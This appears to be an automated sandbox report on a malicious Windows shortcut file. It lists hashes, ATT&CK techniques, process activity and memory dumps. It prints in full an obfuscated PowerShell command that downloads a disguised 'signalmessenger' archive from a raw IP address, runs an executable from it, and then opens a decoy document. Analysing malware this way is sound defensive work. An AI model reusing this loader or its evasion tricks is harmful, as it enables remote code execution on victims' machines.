cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
31-08-2024 01:58

Target

cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30.lnk
Size

47KB
MD5

8b3dc64090b0b26eda4f1195f493160d
SHA1

bd0b4c1d9e8b84465714287727ba5293f9a8eb61
SHA256

cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30
SHA512

ddbe1ad300d613531b6ffcb9a8ff607b1e6e7cf676ce738c31d138e6154ff0ee3c1b8d4d8b67c8fec5da444c845b62475736c228eb89d3b013a3ddcb15365deb
SSDEEP

48:88muavUQSbXTo87Cj3YMEDo/FoZaxCogDDo/LX7LdCZZGXu/dZZIa7x:88y8Nkgm3hX+UxCgLX7BuqQ

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2012	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2012	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 2012	2152	cmd.exe	31
PID 2152 wrote to memory of 2012	2152	cmd.exe	31
PID 2152 wrote to memory of 2012	2152	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo QMwlXCkteAQTQqnkaJqrUqs; echo QvYiYqvrrHquSStJfMRfSfWhN; echo bbOXmbTScxuUqnRAgrxICMaBVDaWjzRzRVcfkbymVEadrSAtp; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo smmOpvMyMQBsjhmNQati; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo XmLObXLAbAaEvFXwLygA; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/brt_1_0147.doc -OutFile brt_1_0147.doc; echo jKSqGTomhhZFxOMFkLZBsdHuhOCDBrMzMONLWouYJOCxTyelGMtYZGs; s''t''a''rt brt_1_0147.doc
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2012

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2012-38-0x000007FEF552E000-0x000007FEF552F000-memory.dmp

Filesize
4KB

Download
memory/2012-41-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-42-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-43-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-40-0x0000000002230000-0x0000000002238000-memory.dmp

Filesize
32KB

Download
memory/2012-44-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-39-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2012-45-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-46-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download